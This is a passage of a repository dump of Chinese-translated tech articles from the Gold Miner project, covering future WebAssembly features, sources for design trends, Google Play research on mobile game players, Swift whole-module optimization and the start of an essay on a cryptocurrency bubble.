共享内存的并发性\n提升代码执行速度的一个方法是使代码并行运行，不过有时也会适得其反，因为不同的线程在同步的时候可能会花费更多的时间。\n\n这时如果能够使不同的线程共享内存，那就能降低这种开销。实现这一功能 WebAssembly 将会使用 JavaScript 中的 SharedArrayBuffer，而这一功能的实现将会提高程序执行的效率。\n\n### SIMD（单指令，多数据）\n如果你之前了解过 WebAssembly 相关的内容，你可能会听说过 SIMD，全称是：Single Instruction, Multiple Data（单指令，多数据），这是并行化的另一种方法。\n\nSIMD 在处理存放大量数据的数据结构有其独特的优势。比如存放了很多不同数据的 vector（容器），就可以用同一个指令**同时**对容器的不同部分做处理。这种方法会大幅提高复杂计算的效率，比如游戏或者 VR。\n\n这对于普通 web 应用开发者不是很重要，但是对于多媒体、游戏开发者非常关键。\n\n### 异常处理\n许多语言都仿照 C++ 式的异常处理，但是 WebAssembly 并没有包含异常处理。\n\n如果你用 Emscripten 编译代码，就知道它会模拟异常处理，但是这一过程非常之慢，慢到你都想用 [“DISABLE_EXCEPTION_CATCHING”](https://kripken.github.io/emscripten-site/docs/optimizing/Optimizing-Code.html#c-exceptions) 标记把异常处理关掉。\n\n如果异常处理加入到了 WebAssembly，那就不用采用模拟的方式了。而异常处理对于开发者来讲又特别重要，所以这也是未来的一大功能点。\n\n### 其他改进——使开发者开发起来更简单\n一些未来特性不是针对性能的，而是使开发者开发 WebAssembly 更方便。\n\n* **一流的开发者工具**。目前在浏览器中调试 WebAssembly 就像调试汇编一样，很少的开发者可以手动地把自己的源代码和汇编代码对应起来。我们在致力于开发出更加适合开发者调试源代码的工具。\n* **垃圾回收**。如果你能提前确定变量类型，那就可以把你的代码变成 WebAssembly，例如 TypeScript 代码就可以编译成 WebAssembly。但是现在的问题是 WebAssembly 没办法处理垃圾回收的问题，WebAssembly 中的内存操作都是手动的。所以 WebAssembly 会考虑提供方便的 GC 功能，以方便开发者使用。\n* **ES6 模块集成**。目前浏览器在逐渐支持用 `script` 标记来加载 JavaScript 模块。一旦这一功能被完美执行，那么像 `<script src=url type=\"module\">` 这样的标记就可以运行了，这里的 `url` 可以换成 WebAssembly 模块。\n\n## 总结\nWebAssembly 执行起来更快，随着浏览器逐步支持了 WebAssembly 的各种特性，WebAssembly 将会变得更快。\n\n（译者注：欢迎大家关注我的专栏[前端大哈](https://zhuanlan.zhihu.com/qianduandaha)，定期发布高质量前端文章。）\n\n\n"
  },
  {
    "path": "TODO/where-to-spot-new-design-trends-15-sources-to-stay-fresh.md",
    "content": "> * 原文地址：[Where to Spot New Design Trends: 15 Sources to Stay Fresh](https://medium.com/building-creative-market/where-to-spot-new-design-trends-15-sources-to-stay-fresh-8877d6e097b8)\n> * 原文作者：[Laura Busche](https://medium.com/@laurabusche?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/where-to-spot-new-design-trends-15-sources-to-stay-fresh.md](https://github.com/xitu/gold-miner/blob/master/TODO/where-to-spot-new-design-trends-15-sources-to-stay-fresh.md)\n> * 译者：[kk](https://github.com/kangkai124)\n> * 校对者：[Wangalan30](https://github.com/Wangalan30)\n\n# 如何紧跟未来的设计趋势：15 个让你永远不过时的资料\n\n在为 [Creative Market blog](http://www.creativemarket.com/blog) 写稿的时候，我花了很长时间去探索这个行业下一个流行的趋势是什么。作为一个设计师，你肯定经常从一些新的播客片段或博客中为你的项目寻找灵感。资源行业是设计这个专业发展的重要组成部分，当然设计师也不例外。但是，我们应该从哪里搜索到最新最好的资源呢，而且最重要的是，我们该如何确定我们找到的资源确实是和流行的趋势相关呢？通过这篇文章，我会分享我们团队追踪未来的设计趋势时最喜欢的资源。\n\n### **我们先来谈一谈「新潮」**\n\n伟大的设计永不过时，尽管我们大多数都同意这一点，但在今天，熟知新兴趋势可以使我们的观点保持新鲜而有说服力。很多人将「新潮的设计」看作是危险信号，如果你也这样认为，请放心：它并不是你想的那样。创作独特且有创意的作品与结合新颖的创作方式之间并不矛盾。将流行的趋势看作是往你的「军火库」中引入新的工具，这是很重要的一步。**结合**是创作中非常重要的基础。就像爱因斯坦对他的一个同事说的那样，「组合游戏似乎是创新思维的基本特征」。\n\n总之：我们讨论的不是创造「新潮」，而是推动设计创新。\n\n开始分享干货！\n\n### 了解品牌和印刷设计趋势\n\n[**UnderConsideration’s Brand New**](https://www.underconsideration.com/brandnew/) 历来是设计师们的最爱，这是有充分理由的。而由 UnderConsideration 杂志的联合创始人 Armin Vit 编写的 Brand New 专栏，则是涵盖和评论了优秀的品牌标识项目。该专栏已经形成了一个非常活跃的设计师社区，在评论区里经常可以找到一些非常有趣的见解。如果你一直在做印刷设计，那么你也可以关注下 [Art of the Menu](http://www.underconsideration.com/artofthemenu/) ，它也是 UnderConsideration 的一个子版块。\n\n![](https://cdn-images-1.medium.com/max/800/1*TTBnRu5b9sjhJ7ZEmuj2RQ.jpeg)\n\n图为 UnderConsideration 的 Brand New 专栏\n\n对于那些喜欢从新颖的包装中寻找灵感的人来说，[**The Dieline**](http://www.thedieline.com/blog) 是另外一个很经典的资源。这个网站的团队着眼于世界各地精心设计的品牌包装，并详细介绍每个项目背后的基本原理以及经验教训。如果你只对例如纸张、塑料、木材或者金属等这类趋势感兴趣的话，你就可以过滤包装材料来找到适合你的文章。\n\n### 查看插画和一般平面设计的趋势\n\n[**Best of Behance**](https://www.behance.net/) 展示了来自世界各地流行的创意组合的最新作品。你可以通过关键字（平面设计，摄影，插图等）进行过滤，然后按照「特性」分类。结果就是 Behance 团队会根据你选择的时间（当月、周、天、不限）为你列出项目的列表。\n\n[**Dribbble’s Hot Shots of the Week**](https://dribbble.com/shots/week/2017-10-30?utm_content=hot-shots-see-all-link) 是 Dribbble 网站的一个特殊视角，它列出了这一周最受欢迎的上传作品。找到你感兴趣的那一周，查看被浏览次数或者评论次数非常多的作品。Dribbble 的布局十分简洁，因此你可以专注于欣赏作品的配色和视觉样式。其中一些作品还出现在他们的 [Weekly Replay](https://dribbble.com/stories/categories/weekly-replay) 系列博客中的 Hot Shots 区域。\n\n![](https://cdn-images-1.medium.com/max/800/1*6e9aBZ3PSkKq0CuuBEjRbg.jpeg)\n\n图为 Dribbble 的 Hot Shots of the Week\n\n**Abduzeedo** 的 [**Weekly Roundup**](http://abduzeedo.com/tags/weekly-roundup) **和** [**Daily Inspiration**](http://abduzeedo.com/tags/daily-inspiration) **系列** 为你列出的都是值得注意的新兴的创意作品。他们选择的作品是多样性的，涵盖了从3D作品到建筑美术。除了订阅 RSS ，你现在也可以通过[订阅他们的 newsletter](http://abduzeedo.com/mailchimp-subscribe-abduzeedo-mailing-list) 来定期的获取灵感。\n\n[**Sidebar.io**](https://sidebar.io) 每天都会为你列出5个需要查看的设计相关的链接，并且以干净的界面展示他们。你也可以订阅他们的电子邮件，在你的收件箱里接收这些推送。\n\n### 了解用户体验设计趋势\n\nZurb 创办的 [**Pattern Tap**](https://zurb.com/patterntap) 精心收集了很多用户交互模型，并激励设计者做出更优秀的作品。Zurb 团队把它作为他们的大型图书馆的一部分，用他们的话说就是「Pattern Tap 积累了大量的工具和知识，这些工具和知识作为一种无价的资源将会激励和鼓舞世界各地的设计师们」。\n\n![](https://cdn-images-1.medium.com/max/800/1*w3T0VLKyy2qTolK5uNVfdw.jpeg)\n\n图为 Zurb 的 PatternTap\n\n[**UI Interactions of the Week**](https://medium.muz.li/) 是一个发布在 Muzli’s Medium blog 上的启发性的周刊。你可以下载他们的 Chrome 扩展， 这样每当你打开一个新的标签页时， 他们会为你推动值得注意的创意项目。Muzli 在 2016 年加入了 InVision。\n\n### 发现新兴网页设计趋势\n\n在 [**Httpster**](https://httpster.net/) 上你可以发现有启发性的页面布局，和一些独特的排版设计。这个网站更着眼于一些细微处的美感，但如果你追求的是更加精美的设计，它同样会有帮助。有趣的是，它的诞生是源于（[@Guvnor](https://github.com/guvnor) 和 [@dominicwhittle](https://github.com/dominicwhittle)）这两位同事，他们发现由于没有一个更好的办法去捕获那些启发灵感的链接，使得这些链接正在渐渐丢失。Httpster 是他们更好的选择。\n\n[**Siteinspire**](https://www.siteinspire.com/) 是另外一个可以发现世界各地设计师们设计的创新性网页布局的地方。这个网站所列出的内容均由 Howell 工作室整理。选择「最新」，你就可以了解到 web 设计领域新的趋势。\n\n### 发现排版趋势\n\n[**Typewolf’s Favorite Sites of the Month**](https://www.typewolf.com/blog) 系列对一些热门网站的排版做了很详细的描述。通过 Jeremiah Shoaf (@typewolf himself) 那特有的敏锐的目光，你一定可以在这里找到适合你自己作品的新点子。有趣的是，你可以通过字体找到灵感，这样，当你在想象一个特定的字体在文本中如何使用时，这就十分有用。\n\n![](https://cdn-images-1.medium.com/max/800/1*dGNyyGU6gCdXQ1PhHJuXyQ.png)\n\n图为 Typewolf’s Favorite Sites of the Month\n\n### 了解大型跨领域设计的趋势\n\nSwissmiss 的 [**The Friday Link Pack**](http://www.swiss-miss.com/link-pack) 是一个让你在不同领域保持持续灵感的地方。Swissmiss 是 Tina Roth Eisenberg 创办的非常受欢迎的设计类博客，同时 Tina Roth Eisenberg 也是 Creative Mornings 的天才设计师。如果你觉着自己是个设计的多面手，那么你一定要看看 Tina 的建议 —— 它们来源于设计师的生活和琐碎花絮，这些够你周末看的了。\n\n[**CO.DESIGN**](https://www.fastcodesign.com/90148702/google-is-building-a-new-kind-of-clipart) 更像是集创新、管理、设计新闻等于一身的商业性的出版物。这个网站由 Fast Company 编辑，它帮助你了解设计决策和业务转换是如何共存的，为什么某些公司会出现新的创新性路径，以及如何从发散性的创意领域中汲取经验。CO.DESIGN 并不会告诉你例如3D图形正成为设计的趋势，而是会向你解释 [为什么 Google 正在这个方向进行探索](https://www.fastcodesign.com/90148702/google-is-building-a-new-kind-of-clipart)。如果你想抓住那些更广泛的具有直接性商业意义的设计趋势，一定要阅读它。\n\n从 **Product Hunt 网站的** [**Design Tools**](https://www.producthunt.com/topics/design-tools) **和** [**Design Books**](https://www.producthunt.com/topics/design-books) 页面你可以找到一些新的对生活很有影响的作品。页面顶部有一个「本月热门」标签，可以帮你发现最新和最棒的作品。同时它也支持通过受欢迎度、创建时间、评论或者点赞等排序。\n\n**by It’s Nice That 网站的** [**The Best of the Web Series**](https://www.itsnicethat.com/categories/best-of-the-web)  专栏包含了各种有趣的链接，帮助各个领域的设计师们启发灵感。这个专栏还有一个叫做 *Who to Follow* 的区域，在这里他们团队会推荐一些值得关注的创意社交媒体账户。\n\n[**Creative Market** 博客](https://creativemarket.com/blog/category/design-trends) 是我们的16号资源。我们团队不断地在网上寻找独特的设计理念，分析并分享到创意社区。前往我的**趋势**区域，查看我们不断更新的灵感摘要和趋势预测汇总。\n\n### **策划，策划，再策划**\n\n自身的持续发展，不仅依赖于已经掌握的知识，同样也需要培养尚未掌握的技能。每周或者每个月花点时间看看正在渗透我们生活的审美风格，让这些新鲜的想法和自己的思考结合，去塑造一个不断进步的创新点。\n\n### **你从哪里追踪趋势呢？**\n\n你自己最喜欢的紧跟设计前沿的资料来源有哪些呢？请在下方评论区分享出你的链接——我们期待关注新的网站！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/who-plays-mobile-games.md",
    "content": "> * 原文地址：[Who plays mobile games: Player insights to help developers win](https://medium.com/googleplaydev/who-plays-mobile-games-8b33f76bb6d8)\n> * 原文作者：[Allen Bevans](https://medium.com/@abevans?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/who-plays-mobile-games.md](https://github.com/xitu/gold-miner/blob/master/TODO/who-plays-mobile-games.md)\n> * 译者：[Lai](https://github.com/laiyun90)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)\n\n# **知己知彼 — 谁在玩你的手机游戏？**\n\n## **深入了解玩家，帮助开发者取得成功**\n\n![](https://user-gold-cdn.xitu.io/2018/2/2/161551441fdfca48?w=800&h=497&f=png&s=90851)\n\n全球手机游戏的惊人增长表明，越来越多的人参与到游戏体验中，而这些游戏体验以前仅服务于 PC 和游戏机等其他平台的用户。这种扩张意味着游戏玩家的特点、需求和动机更加多元。然而这种玩家的多样性不仅是一个绝佳的机会，更是一个巨大的挑战。为了打造出刺激和吸引这种多元化玩家的游戏，开发者需要深入、全面地了解他们目前拥有的以及未来潜在的用户。\n\n为了帮助开发者建立这种洞察力，Google Play 委托 SKIM 进行了一项调查研究，以了解全世界手机游戏玩家的需求、行为之间的差异和相似之处。最初，我们是为了内部用途而进行这项研究，但是我们相信我们的发现对于更广泛的手机游戏开发者社区是有价值的。立即获取研究报告 [是谁在玩手机游戏？](http://services.google.com/fh/files/blogs/who_plays_mobile_games.pdf)\n\n### **我们过去考虑「游戏爱好者（gamers）」，现在我们考虑「游戏玩家（players）」**\n\n人们很容易把玩游戏的人归为两个极端群体中的一个 —— 「硬核（hardcore）」玩家热衷于复杂、对技巧要求很高的游戏，而「休闲玩家（casual）」玩家总是玩些低难度、没什么挑战的游戏。这些极端情况也与一系列人口假设和刻板印象有关，比如「硬核」玩家通常是年轻人和男性；而「随便玩玩的」玩家通常是老年人和女性。实际情况是，大多数的玩家处于这两种极端情况范围中的某处。在 Google Play 里，我们发现恰恰是「游戏玩家（players）」而不是「游戏爱好者（gamers）」，可以帮助我们考虑游戏行为的全部范畴而非刻板印象的极端行为。\n\n![](https://user-gold-cdn.xitu.io/2018/2/2/161551441dcf27c2?w=800&h=343&f=png&s=36318)\n\n「硬核」和「休闲」可能是一种有用的指称，但是它们通常被烙上太多刻板印象，不符合现实。大多数的玩家在玩游戏时都**介于两个极端之间**，大多数游戏结合了可以分为「硬核」或「随便玩玩的」的特点。\n\n### **游戏在玩家生活中扮演的角色以及玩家的社交行为，带来了最熟悉的相似处和最迥异的不同点。**\n\n在考虑玩家的范围时，我们面临的第一个挑战是创造某种形式的排序。在手机游戏方面，这些数百万的玩家在态度、需求和行为方面有什么相似或不同？在我们对 8 个市场、超过 2 万手机游戏玩家的调查中，我们询问了关于他们玩游戏中不同方面的一系列问题：他们是如何发现游戏的？游戏对于他们的重要性？玩游戏的时间和方式？游戏是如何融入他们生活的等等。我们发现了真正区分玩家群体的问题集中于他们的**社交行为**和**对游戏的热情**。\n\n社交行为的例子包括他人在游戏发现和选择中的影响力，以及是否与其他人一起玩游戏，或作为社区或联盟的一部分。对游戏的热情包括在游戏上花费的时间、游戏在他们身份中的核心地位、以及类似粉丝的行为，比如购买品牌商品。\n\n根据这些维度，我们确定了五种不同的玩家群体：\n\n![](https://user-gold-cdn.xitu.io/2018/2/2/16155144328f29ab?w=800&h=606&f=png&s=87066)\n\n五个玩家群体在游戏热情和社交行为上相互映射。\n\n这五个玩家群体也有不同的行为，可以用来了解游戏偏好和动机，我们已经将这些发现分析成以下四个关键点：\n\n#### **1. 人口统计信息不是造成差异的主要因素。**\n\n一旦我们根据这些维度确定了五个玩家群体，我们便开始从他们是谁以及他们的行为方面，进一步了解他们。强调这些群体之间存在人口统计特征的差异是非常重要的，然而这并不是造成这些群体差异的主要原因。通常，这种区分方式主要是在生命阶段或性别方面进行区别，然而这会隐藏真正重要维度的关键共性和差异。虽然有少许更年轻的「**网游爱好者者**（connected enthusiasts）」，或者更年长的「**被动玩家**（passive players）」，但是这两个群体的主要年龄段也只是分布在 26 岁至 45 岁之间。同样地，对于「**网游爱好者者**」和「**被动玩家**」，仅有轻微的男性偏见(仅仅超过 50 %)。\n\n![](https://user-gold-cdn.xitu.io/2018/2/2/161551442578bf9c?w=800&h=398&f=png&s=116600)\n\n每个群体的主要人口统计数据和驱动因素的总结\n\n#### **2. 玩家群体使用一系列的渠道和影响力来发现游戏。**\n\n![](https://user-gold-cdn.xitu.io/2018/2/2/1615514425dfcd33?w=800&h=414&f=png&s=133469)\n\n每个群体发现游戏的核心影响力总结\n\n「**网游爱好者者**（connected enthusiasts）」利用最广泛的渠道来发现新游戏，但是几乎全部的重要渠道都涉及到其他人，无论是现实生活中的还是网络里的（比如 YouTube）。他们也是最有可能对 App 内的广告有所反应的人。**爱玩的探索者**（Playful explorers）」社交依赖程度较低，他们游戏发现的主要来源有应用商店的游戏排行榜、YouTube、APP 内嵌广告以及游戏评分。意料之中地，影响「**被影响玩家**（influenced players）」和「**尝试性跟随者**（tentative followers）」的游戏发现因素都是来自于他人，可能来自于他们的朋友、看到其他人在玩的游戏或者在 YouTube 上看到别人玩的游戏。「**被动玩家**（passive players）」更容易受到榜单和 App 内广告的影响，他们也有一些其他的发现来源 —— 一些在玩家群体调查中未被纳入预先指定分类的来源。\n\n#### **3. 玩家群体并不对应某个游戏类型**\n\n当我们询问玩家他们所玩的游戏类型时，我们发现所有的玩家群体有一些相似之处。益智游戏和策略游戏普遍具有吸引力（除了「**被动玩家**」）。我们也确实了发现了一些特定的游戏类型对应某类游戏玩家。\n\n![](https://user-gold-cdn.xitu.io/2018/2/2/1615514427b8cacb?w=800&h=357&f=png&s=90950)\n\n每个玩家群体在各类手机游戏玩家中所占比例\n\n「**网游爱好者者**」）几乎什么类型的游戏都玩，而且不太可能会偏好某一特定种类。「**爱玩的探索者**」虽然也倾向于玩各种类型的游戏，但是更喜欢玩动作类和冒险类的游戏。「**被影响玩家**」热衷于益智类游戏，但是也很喜欢冒险、策略游戏以及小游戏。「**尝试性跟随者**」喜欢牌类游戏、小游戏和文字游戏。而「**被动玩家**」只喜欢益智游戏和牌类游戏。\n\n#### **4. 玩游戏的动机不仅仅是放松和无聊**\n\n放松和解闷是人们玩游戏的普遍原因。然而，我们发现在不同的游戏群体中，有一些更具可执行性的参与原因。特别是「**网游爱好者者**」，他们玩游戏的原因在于取得进步、在于测试技能（包括自己的和他人的），并用玩游戏的乐趣来奖励自己。「**爱玩的探索者**」和「**被影响玩家**」也将游戏竞技和取得进步视为奖励，但是不太在意与他人比较技能。「**尝试性跟随者**」和「**被动玩家**」不太会关注游戏的乐趣。\n\n### **对开发者的意义**\n\n* **考虑你的玩家的各种游戏需求。** 除非你的游戏是针对某个特定的人口群体，否则不要落入人口刻板印象中。相反，请考虑你的游戏所能满足的不同游戏需求，和能提供的重要体验。\n* **在设计游戏或增加新功能时考虑玩家差异**：\n\n1. 需要明确：这个功能是为特定游戏玩家群体设计，还是为所有的一般玩家？\n2. 得到信息：从目标游戏玩家群体处得到反馈。\n3. 具体一点：说明一个特性将如何改变这些玩家特定方面的体验，以及为什么这对他们很重要。\n\n* **定制你的用户获取策略。**通过最好的市场渠道来触及目标玩家群体。各种类型的玩家通过多种渠道发现游戏，但是如果你正在为特定类型的玩家定制游戏，你应该优化策略，着重关注于他们参与最多的渠道。\n* **定制游戏参与策略来刺激你的目标游戏群体**。「**网游爱好者者**」热衷于排行榜和挑战社区，而「**爱玩的探索者**」对个人的进步更感兴趣。采用对你的玩家而言最有意义的内容来帮助他们热爱玩你的游戏。\n\n获取完整报告 [是谁在玩手机游戏？](http://services.google.com/fh/files/blogs/who_plays_mobile_games.pdf)，让我们了解你的想法。这些游戏玩家群体分类是否可靠？有什么是让你感到惊讶的内容？关于这些群体你还想了解什么？关注 [Google Play Apps & Games on Medium](http://medium.com/googleplaydev)，了解更多来自 Google 团队关于 app 和游戏开发者的行业研究、趋势和想法。\n\n* * *\n\n#### What do you think?\n\n#### 你怎么看？\n\n对于了解手机玩家你还有什么问题或想法吗？在下面的评论里继续讨论吧，或者带上标签 #AskPlayDev 发推特，我们将从 [@GooglePlayDev](http://twitter.com/googleplaydev) 中回复，我们也将定期在推特中分享关于如何在 Google Play 中取得成功的新闻和小贴士。\n\n感谢 [Kelly Rice](https://medium.com/@kellyrice88?source=post_page) 和 [SKIM Analytics](https://medium.com/@SKIMUS?source=post_page)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/whole-module-optimizations.md",
    "content": "> * 原文地址：[Whole-Module Optimization in Swift 3](https://swift.org/blog/whole-module-optimizations/)\n* 原文作者：[Erik Eckstein](https://github.com/eeckstein/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Edison Hsu](https://github.com/Edison-Hsu)\n* 校对者：[冯志浩](https://github.com/fengzhihao123) [王子建](https://github.com/Romeo0906)\n\n# Swift 3 语言中的全模块优化\n\n\n\n\n全模块优化是一种 Swift 编译器的优化模式。全模块优化的性能提升很大程度上因项目而异，可达到 2 倍甚至 5 倍的提升。 \n\n开启全模块优化可以使用 `-whole-module-optimization` （或者 `-wmo`）编译器标识，并且在 Xcode 8 中默认在新项目中被打开。另外 Swift 的包管理器在发布构建中使用全模块优化编译。 \n\n那么它是关于什么的？让我们先看看没有全模块优化编译器是如何工作的。\n\n### 什么是模块和如何编译模块\n\n一个模块是 Swift 文件的集合。每个模块编译成一个独立分布单元－框架（framework)或可执行程序。在单文件编译（没有 `-wmo`）中，Swift 编译器分别编译模块中的每一个文件。事实上，这就是背后发生的事情。作为一个使用者你不需要手动做这些。编译器驱动或者 Xcode 构建系统会自动完成。\n\n![single file compilation](https://swift.org/assets/images/wmo-blog/single-file.png)\n\n在读取和解析一个源文件（并且完成其他工作，比如类型检查）之后，编译器开始优化 Swift 代码，生成机器码和写目标文件。最终，链接器链接所有目标文件并且生成共享库或者可执行文件。\n\n在单文件编译中编译器的优化仅局限于单个文件。这限制了跨函数优化，比如调用和定义在同一文件中的函数内联或者泛型特殊化。\n\n下面看一个例子。假设我们模块中的一个文件，名为 utils.swift，其中包含一个泛型的实用数据结构体 `Container`，其中含有一个方法 `getElement` 并且这个方法在模块中到处被调用，比如在 main.swift 中。\n\nmain.swift:\n\n\n\n    func add (c1: Container, c2: Container) -> Int {\n      return c1.getElement() + c2.getElement()\n    }\n\n\n\nutils.swift:\n\n\n\n    struct Container {\n      var element: T\n\n      func getElement() -> T {\n        return element\n      }\n    }\n\n\n\n当编译器优化 main.swift 时，它并不知道 `getElement` 如何被实现。它只知道它是存在的。所以编译器生成了一个 `getElement` 的调用。另一个方面，当编译器优化 utils.swift 时，它并不知道函数被调用了哪个具体的类型。所以它只能生成一个通用版本的函数，这比具体类型特殊化过的代码慢很多。\n\n即使简单的在 `getElement` 中返回声明，都需要在类型的元数据中查找来解决如何拷贝元素。它可以是一个简单的 `Int`，但它也可以是一个更大的类型，甚至涉及一些引用计数操作。这些编译器都不知道。\n\n### 全模块优化\n\n拥有全模块优化的编译器可以做的好很多。当使用 `-wmo` 选项编译时，编译器将模块作为一个整体来优化其中的所有文件。\n\n![whole-module compilation](https://swift.org/assets/images/wmo-blog/wmo.png)\n\n这么做有两个巨大优势。首先，编译器了解模块中所有函数的实现，所以它能够执行诸如函数内联和函数特殊化等优化。函数特殊化是指编译器创建一个新版本的函数，这个函数通过一个特定的调用上下文来优化性能。例如，编译器能够针对各种具体类型对泛型函数进行特殊化处理。\n\n在我们的例子中，编译器产生了一个使用具体类型 `Int` 来特殊化泛型 `Container` 的版本。\n\n\n\n    struct Container {\n      var element: Int\n\n      func getElement() -> Int {\n        return element\n      }\n    }\n\n\n\n然后编译器可以在 `add` 函数中内联已经特殊化的 `getElement` 函数。\n\n\n\n    func add (c1: Container, c2: Container) -> Int {\n      return c1.element + c2.element\n    }\n\n\n\n这个编译仅生成几个机器指令。对比单文件代码有很大的不同，单文件编译中会两次调用 `getElement` 泛型函数。\n\n跨文件的函数特殊化和函数内联仅是全模块优化的例子。如果编译器了解函数的实现，即使编译器决定不内联一个函数，它也有很大帮助。举例说，它能推出它的引用计数操作的行为。有了这个认识，编译器就能够在函数调用中删除冗余的引用计数操作。\n\n全模块优化的第二大好处是，编译器能够推出所有非公有（non-public）函数的使用。非公有函数仅能在模块内部调用，所以编译器能够确定这些函数的所有引用。那么编译器可以用这个信息做什么？\n\n一个非常基本的优化是消除所谓的「死」函数和方法。这些函数和方法是从未被调用和使用的。使用全模块优化，编译器知道一个非公有函数或方法是否根本没有被使用，如果是这种情况，那么编译器会除去它。为什么程序员会写一个从未被使用的函数？好吧，这不是死函数消除的最重要用例。常用函数变为死函数是其他优化的一个副作用。\n\n我们假设 `add` 函数只在 `Container.getElement` 中被调用。在内联 `getElement` 之后，这个函数不在被使用，所以它可以被删除。即使编译器决定不内联 `getElement`，编译器也能删除原始 `getElement` 的泛型版本，因为 `add` 函数只调用特殊化的版本。\n\n### 编译时间\n\n单文件编译时，编译器驱动在不同的进程中开始编译每个文件，这能被并行地完成。此外，自从上次编译之后没有被修改的文件就不需要重新编译（假设所有依赖也没有修改）。这被称为增式编译。它节省了大量的编译时间，尤其是当你做了一个小改动的时候。在全模块编译中如何使这个成为可能？让我们来看看全模块优化模式更多的细节。\n\n![whole-module compilation details](https://swift.org/assets/images/wmo-blog/wmo-detail.png)\n\n编译过程有多个阶段：分析程序，类型检查，SIL 优化，LLVM 后端。\n\n大多数情况下，分析程序和类型检查是非常快的，并且我们希望它们在后续的 Swift 发行版中变得更快。SIL 优化程序（SIL 代表 「Swift 中间语言」（Swift Intermediate Language））执行所有 Swift 特定的重要优化，例如泛型特殊化，函数内联等等。编译器的这个阶段通常需要大约三分之一的编译时间。大多数的编译时间花费在 LLVM 后端，它执行更底层的优化和生成代码。\n\n执行全模块优化之后，在 SIL 优化程序中模块被分为多个部分。LLVM 后端使用多线程处理各个部分。如果这个部分自从上次构建以来未被修改，它也会避免重复处理。所以即使使用全模块优化，编译器也能够并行和增量地执行大型编译工作。\n\n### 结论\n\n全模块优化是一个不用担心如何分配模块中的 Swift 代码也能够得到极大的性能提升的方法，而且。如果上述优化能够在关键代码段执行，性能能够比单文件编译提高 5 倍。并且相比于传统的庞大的全程序优化方法，你能够得到更快的编译时间。\n\n\n\n"
  },
  {
    "path": "TODO/why-and-how-the-cryptobubble-will-burst.md",
    "content": "> * 原文地址：[Why and how the Cryptobubble will burst](https://medium.com/@dennyk/why-and-how-the-cryptobubble-will-burst-de9bc7fc5332)\n> * 原文作者：[DK](https://medium.com/@dennyk?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/why-and-how-the-cryptobubble-will-burst.md](https://github.com/xitu/gold-miner/blob/master/TODO/why-and-how-the-cryptobubble-will-burst.md)\n> * 译者：[十七粒](https://github.com/GreenLim)\n> * 校对者：[Damon Yuan](https://github.com/damonYuan)\n\n# 为什么加密货币泡沫会破裂？\n\n![](https://cdn-images-1.medium.com/max/800/0*idzMb5bMLqYRdbWU.png)\n\n加密货币泡沫（Cryptobubble），图片来源：TechCrunch\n\n即便是对于一个经历过互联网泡沫的人来说，如今加密货币市场的火爆程度也令人叹为观止。17 年前的错误今天再次重演，是如此震慑人心。当然，今天的投资者也许和以前不同，他们的大多数并没有经历过互联网泡沫。\n\n想了解更多关于加密资产（Cryptoassets）的内容，本文末尾有我收集的更多趣文:)。\n\n**写在前面**\n\n首先我需要给出几个基本定义。对我来说，加密资产主要分为下列三种：\n\na) 加密货币：是一种主要用于在区块链上储藏价值、进行投机或者交易的加密资产。例如 Bitcoin、Litecoin、Dash 和 ZCash。\n\nb) 平台或功用代币：是一种用于构建去中心化应用（DApps）的加密资产，或用于构建其它代币使其能在它们的区块链上进行交易。例如 Ethereum、Lisk、Blockstack 和 Tezos。\n\nc) 证券代币：通过 ICO[[1]](https://baike.baidu.com/item/ICO/21498451) 渠道售卖给投资者的代币，用于投资创业公司。这包括 TenX、Monaco、Status、Iconomi 等。\n\n**对比互联网泡沫**\n\n让我们回到 1999～2000 年的那个年代，在当时，有任何与互联网沾边的事物，都会让整个股票市场为之疯狂。如今，历史重演：\n\n* ICO = IPO\n\n在上世纪 90 年代末和本世纪初，IPO（首次公开募股）空前繁荣。纳斯达克指数日日创新高，新兴公司将在各个交易所的“新兴板”或“科技板”上市。如果你在 IPO 期间参与了某只股票的询价申购，那么你通常能在上市交易的第一天就实现本钱翻番。所有人都在参与 —— 不仅仅是机构和高净值投资者，甚至你家门口超市的员工和出租车师傅都来凑热闹。出租车师傅将即将大热的 IPO 项目宣传给乘客。大多数 IPO 项目，只要有和互联网沾边的商业计划，就能成功上市。\n\n如今发生在 ICO 世界的故事和历史是惊人的相似。似乎所有人都在参与 ICO 